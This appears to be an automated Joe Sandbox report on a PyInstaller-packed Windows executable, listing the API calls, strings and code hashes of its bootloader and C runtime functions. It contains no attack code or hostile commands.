Py_VerboseFlag$GetProcAddress$PyDict_GetItemString$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyList_New$PyLong_AsLong$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyRun_SimpleStringFlags$PySys_AddWarnOption$PySys_GetObject$PySys_SetArgvEx$PySys_SetObject$PySys_SetPath$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_BuildValue$Py_DecRef$Py_DecodeLocale$Py_DontWriteBytecodeFlag$Py_FileSystemDefaultEncoding$Py_Finalize$Py_FrozenFlag$Py_GetPath$Py_IgnoreEnvironmentFlag$Py_IncRef$Py_Initialize$Py_NoSiteFlag$Py_NoUserSiteDirectory$Py_OptimizeFlag$Py_SetPath$Py_SetProgramName$Py_SetPythonHome$Py_UTF8Mode$Py_UnbufferedStdioFlag$Py_VerboseFlag
API String ID: 190572456-3109299426
Opcode ID: 67747be8a076f706c1c9372e7d2496993eaa02b7082083ef588a9e8b618be952
Instruction ID: 1569068ba6056d29c4952f7f3de6d42d44f31310c0c16f252f5e785b39ce0af7
Opcode Fuzzy Hash: 67747be8a076f706c1c9372e7d2496993eaa02b7082083ef588a9e8b618be952
Instruction Fuzzy Hash: 1E42D864A0DB8391FA75FB34EC801F4A2AFAF44794BD45135C86D462A4EF7CB558C322

Function 00007FF79F621B90 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON

Download Yara Rule

APIs

GetDialogBaseUnits.USER32 ref: 00007FF79F621BDE
MulDiv.KERNEL32 ref: 00007FF79F621BF2
MulDiv.KERNEL32 ref: 00007FF79F621C13
SystemParametersInfoW.USER32 ref: 00007FF79F621C5B
CreateFontIndirectW.GDI32 ref: 00007FF79F621C6F
#380.COMCTL32 ref: 00007FF79F621C93
CreateWindowExW.USER32 ref: 00007FF79F621CE6
CreateWindowExW.USER32 ref: 00007FF79F621D40
CreateWindowExW.USER32 ref: 00007FF79F621D9D
CreateWindowExW.USER32 ref: 00007FF79F621DFF
SendMessageW.USER32 ref: 00007FF79F621E1F
SendMessageW.USER32 ref: 00007FF79F621E39
SendMessageW.USER32 ref: 00007FF79F621E58
SendMessageW.USER32 ref: 00007FF79F621E77
SendMessageW.USER32 ref: 00007FF79F621E95
SendMessageW.USER32 ref: 00007FF79F621EB3
SendMessageW.USER32 ref: 00007FF79F621ED1
SendMessageW.USER32 ref: 00007FF79F621EE9
SendMessageW.USER32 ref: 00007FF79F621F01
GetClientRect.USER32 ref: 00007FF79F621F10

Part of subcall function 00007FF79F622030: GetDC.USER32 ref: 00007FF79F62205B
Part of subcall function 00007FF79F622030: SelectObject.GDI32 ref: 00007FF79F6220A2
Part of subcall function 00007FF79F622030: DrawTextW.USER32 ref: 00007FF79F6220C5
Part of subcall function 00007FF79F622030: SelectObject.GDI32 ref: 00007FF79F6220DB
Part of subcall function 00007FF79F622030: ReleaseDC.USER32 ref: 00007FF79F6220EB
Part of subcall function 00007FF79F622030: MoveWindow.USER32 ref: 00007FF79F62213B
Part of subcall function 00007FF79F622030: MoveWindow.USER32 ref: 00007FF79F62217B
Part of subcall function 00007FF79F622030: MoveWindow.USER32 ref: 00007FF79F6221CE

Strings

STATIC, xrefs: 00007FF79F621C9C, 00007FF79F621CF1
BUTTON, xrefs: 00007FF79F621DB6
Close, xrefs: 00007FF79F621DA8
EDIT, xrefs: 00007FF79F621D4B
Failed to execute script '%ls' due to unhandled exception: %ls, xrefs: 00007FF79F621BBD

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
API String ID: 2446303242-1601438679
Opcode ID: 47b3578659853d453a5822a751c8e2f63cfdf798862dd1eeebf7592aa26dc86d
Instruction ID: b9134069d09b4a981dbd7b4c413f77d9912caae64fa4358441e8a9d992f4923f
Opcode Fuzzy Hash: 47b3578659853d453a5822a751c8e2f63cfdf798862dd1eeebf7592aa26dc86d
Instruction Fuzzy Hash: 05A17C32208BC196E724AF21E98479EB375F748BA4F904129DB9D43B14DF3DE165CB50

Function 00007FF79F6431CC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF79F64321A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F643886
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6439FC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F643CBA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F643EDA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F644117
memcpy_s.LIBCPMT ref: 00007FF79F6441F2
memcpy_s.LIBCPMT ref: 00007FF79F64429D
memcpy_s.LIBCPMT ref: 00007FF79F64436C

Strings

1#INF, xrefs: 00007FF79F643343
1#QNAN, xrefs: 00007FF79F643333
1#IND, xrefs: 00007FF79F643307
1#SNAN, xrefs: 00007FF79F64332A

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 46fb5d0366b8e1e712cdd684d815614daf2c7cda5b16cac76ba58e706ef79b66
Instruction ID: 5b0ba6a03f5487844e41a113a8b382f86e5846cfd24dccae49d214c9be039ce1
Opcode Fuzzy Hash: 46fb5d0366b8e1e712cdd684d815614daf2c7cda5b16cac76ba58e706ef79b66
Instruction Fuzzy Hash: 2DB2F572A183C28AE734BE74D4417FDB7AAFB54348F905139DA2D57A88DB38A900DB50

Function 00007FF79F6274B0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF79F6226A0), ref: 00007FF79F6274D7
FormatMessageW.KERNEL32(00000000,00007FF79F6226A0), ref: 00007FF79F627506
WideCharToMultiByte.KERNEL32 ref: 00007FF79F62755C

Part of subcall function 00007FF79F622620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79F627744,?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F622654
Part of subcall function 00007FF79F622620: MessageBoxW.USER32 ref: 00007FF79F62272C

Strings

FormatMessageW, xrefs: 00007FF79F627517
No error messages generated., xrefs: 00007FF79F627510
Failed to encode wchar_t as UTF-8., xrefs: 00007FF79F627566
PyInstaller: FormatMessageW failed., xrefs: 00007FF79F627523
WideCharToMultiByte, xrefs: 00007FF79F62756D
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF79F627579

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: 8b0166d5a5045c769a8e77ad43af0852bc728ff9b5502801be361ecb61f6b2fa
Instruction ID: 3f8bcb08a4949239cf5d499b2be8be6b3ea2e7926f57f98021b190ace911d838
Opcode Fuzzy Hash: 8b0166d5a5045c769a8e77ad43af0852bc728ff9b5502801be361ecb61f6b2fa
Instruction Fuzzy Hash: 85213E71A18B8282E730BF31EC406E6E26BFB88394FC40135D56D926A4EF7CE145C721

Function 00007FF79F62B69C Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF79F62B6B8
RtlCaptureContext.KERNEL32 ref: 00007FF79F62B6E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF79F62B6FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF79F62B740
IsDebuggerPresent.KERNEL32 ref: 00007FF79F62B794
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF79F62B7B5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF79F62B7C0

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 24fff5600ca101af0e2334446d678d156eb325a0e0e0c0538aba544f51e330ab
Instruction ID: d3ee896b1ff875c06ffffb4a6673900127d9fc7f2f0ab2d6f5dccacd6d17444e
Opcode Fuzzy Hash: 24fff5600ca101af0e2334446d678d156eb325a0e0e0c0538aba544f51e330ab
Instruction Fuzzy Hash: EF312D72609BC196EB70AF70E8803E9B369FB84754F844439DA5D47B95DF38D548C720

Function 00007FF79F639AE4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF79F639B5D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF79F639B75
RtlVirtualUnwind.KERNEL32 ref: 00007FF79F639BB0
IsDebuggerPresent.KERNEL32 ref: 00007FF79F639BE9
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF79F639BF3
UnhandledExceptionFilter.KERNEL32 ref: 00007FF79F639BFE

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 4204087c2144b4154cc610f07160e172692864cccd6c23e577d201b1c5d7dbdf
Instruction ID: d38e4c0a79f0dbfa6df830ab3b98509657511f2034abe3d7e4a29a7db12c421b
Opcode Fuzzy Hash: 4204087c2144b4154cc610f07160e172692864cccd6c23e577d201b1c5d7dbdf
Instruction Fuzzy Hash: 8E315E32618B8196EB70AF35E8802EEB3A9FB85764F940135EA9D43B95DF3CD145CB10

Function 00007FF79F6409B4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F640A00
FindFirstFileExW.KERNEL32 ref: 00007FF79F640B0A

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 1a8060551746b007c23963201f19a9fa9ddec40a19b74045b76b4ab8f762ca91
Instruction ID: 572fa503d9efa88cd8877b8e3ca50bbdc41208b686956940698c84aeaa251ad0
Opcode Fuzzy Hash: 1a8060551746b007c23963201f19a9fa9ddec40a19b74045b76b4ab8f762ca91
Instruction Fuzzy Hash: B2B18222B187E691EA70FB31D4006F9A36AEF45BE4F945131EA6E07B85DE7CE441C720

Function 00007FF79F642D30 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF79F642D96
memcpy_s.LIBCPMT ref: 00007FF79F642DC1

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 022fd5d2186a9ab477024acba67c667dc67689f6f8d93667fa63fed94a88a2c2
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 72C1E372B187C687E734BF25A0446AAF796F784B84F948139DB5A47784DB3DE801CB40

Function 00007FF79F648B68 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF79F648DB7
RaiseException.KERNEL32 ref: 00007FF79F648DC8

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 34bf4ba4d1f77b159a602f4f3a79dc58b46c4397abc6f90fe1b78d3c276b8e03
Instruction ID: 23b719426fe3262323a59ac48574ecedfb4a155fac37d97367857c9fd4975837
Opcode Fuzzy Hash: 34bf4ba4d1f77b159a602f4f3a79dc58b46c4397abc6f90fe1b78d3c276b8e03
Instruction Fuzzy Hash: 3CB18073601B898BEB25EF39C8453A87BE5F784B88F148921DB6D837A4CB39D461C710

Function 00007FF79F627820 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF79F627851
FindClose.KERNEL32 ref: 00007FF79F627860

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: b154a429360a9d8fc422caeeb97d2d39407f5ca637504bf6a4efef03296319f0
Instruction ID: 932fcd8d92348a72c7866e2f00de7d58b5b134cdeceff497cba42af0b24e2daf
Opcode Fuzzy Hash: b154a429360a9d8fc422caeeb97d2d39407f5ca637504bf6a4efef03296319f0
Instruction Fuzzy Hash: 92F08122A287C186F770AF70A8847E6B395BB44764F800335D67D466D4DF3CD009CB10

Function 00007FF79F632C04 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF79F632D72
, xrefs: 00007FF79F632FB4

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 2d8c388a4af4e59f7aa018185c24a80b808f927c20487c79df8fa8b9671cd73b
Instruction ID: 7668c5c19a99617fc3ad774d85cbb83818c271b0595d04aaf751ecb236100f5f
Opcode Fuzzy Hash: 2d8c388a4af4e59f7aa018185c24a80b808f927c20487c79df8fa8b9671cd73b
Instruction Fuzzy Hash: 63E1EA3290878245E778AF3581501BDB3AAFF45BC8F945239DA6E07794CFB9E841C760

Function 00007FF79F63D098 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF79F63D222
e+000, xrefs: 00007FF79F63D1A5

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: e8ad3313ac50deca76865dcff50c63e8317fb702a62c77948e89599ff08dba86
Instruction ID: e156f9a67c07404991e2bdfd0b63deb3be7bfcbb7991e7600381fba7b2e9cded
Opcode Fuzzy Hash: e8ad3313ac50deca76865dcff50c63e8317fb702a62c77948e89599ff08dba86
Instruction Fuzzy Hash: 34518A22B183CA46E730AE35D9017A9F79AF745B94F889231CBB847AC5CEBDE444C710

Function 00007FF79F63FA08 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 3dd89506066c6ffdf0f12fb75a986cd17193a66726dd75fee6c51e450970bbea
Instruction ID: b6fa3d6cec1ad3153b5e0c335c4eb541eb43e981ec3e14b56f2c54e8d150c1c8
Opcode Fuzzy Hash: 3dd89506066c6ffdf0f12fb75a986cd17193a66726dd75fee6c51e450970bbea
Instruction Fuzzy Hash: C0028322A1DBC240FA79BB35A8002F9E69BAF46B90FD44635DD7D473D2DEBDA4114320

Function 00007FF79F63CC04 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF79F63CF46

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: 24567b7b7ad9cc25883cfe86a0af8cdb31fb8148e1153fa934f37376d4be2ae6
Instruction ID: ed79a453b2f738a5480c39dc9fc1f4bc914a7dbf7dda5fdad892c60f8dd03366
Opcode Fuzzy Hash: 24567b7b7ad9cc25883cfe86a0af8cdb31fb8148e1153fa934f37376d4be2ae6
Instruction Fuzzy Hash: BEA14562B087C646EB31DB39A4007E9BBEAEB51BC4F448132EA6D47795DE7DD401C710

Function 00007FF79F636F98 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF79F636FB7

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: a95fe7b9809f20d24c45d18936c36fa2317ccb405fffb6bad0c56651588825d4
Instruction ID: 3ad6c9f22a1df78ab2d305707fb9b8024b18f60ee434334d0b6a718378571a7e
Opcode Fuzzy Hash: a95fe7b9809f20d24c45d18936c36fa2317ccb405fffb6bad0c56651588825d4
Instruction Fuzzy Hash: A7519C52B0C7D251FA74BB3299115FAD29BAF85B84F884434DE3D87792FEBCE4418220

Function 00007FF79F6425A0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF79F6425A4

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 6aaf01db4fcd6d8e5e92a2165bcca8bef3bc9097c29bcaeff3790f5a52787e5b
Instruction ID: 0543b45fef45a71211948fa056022ffdc3d89c87a1eeb38b3e849b6d0a97c198
Opcode Fuzzy Hash: 6aaf01db4fcd6d8e5e92a2165bcca8bef3bc9097c29bcaeff3790f5a52787e5b
Instruction Fuzzy Hash: 37B09220E07B82E2EA283B326D8225463BE7F48750FD80038C11C41320DF2C30AA5B20

Function 00007FF79F632800 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b0f885fc535c3a242e303a59ba9c626026de2633fd245c18c7096fc28f432
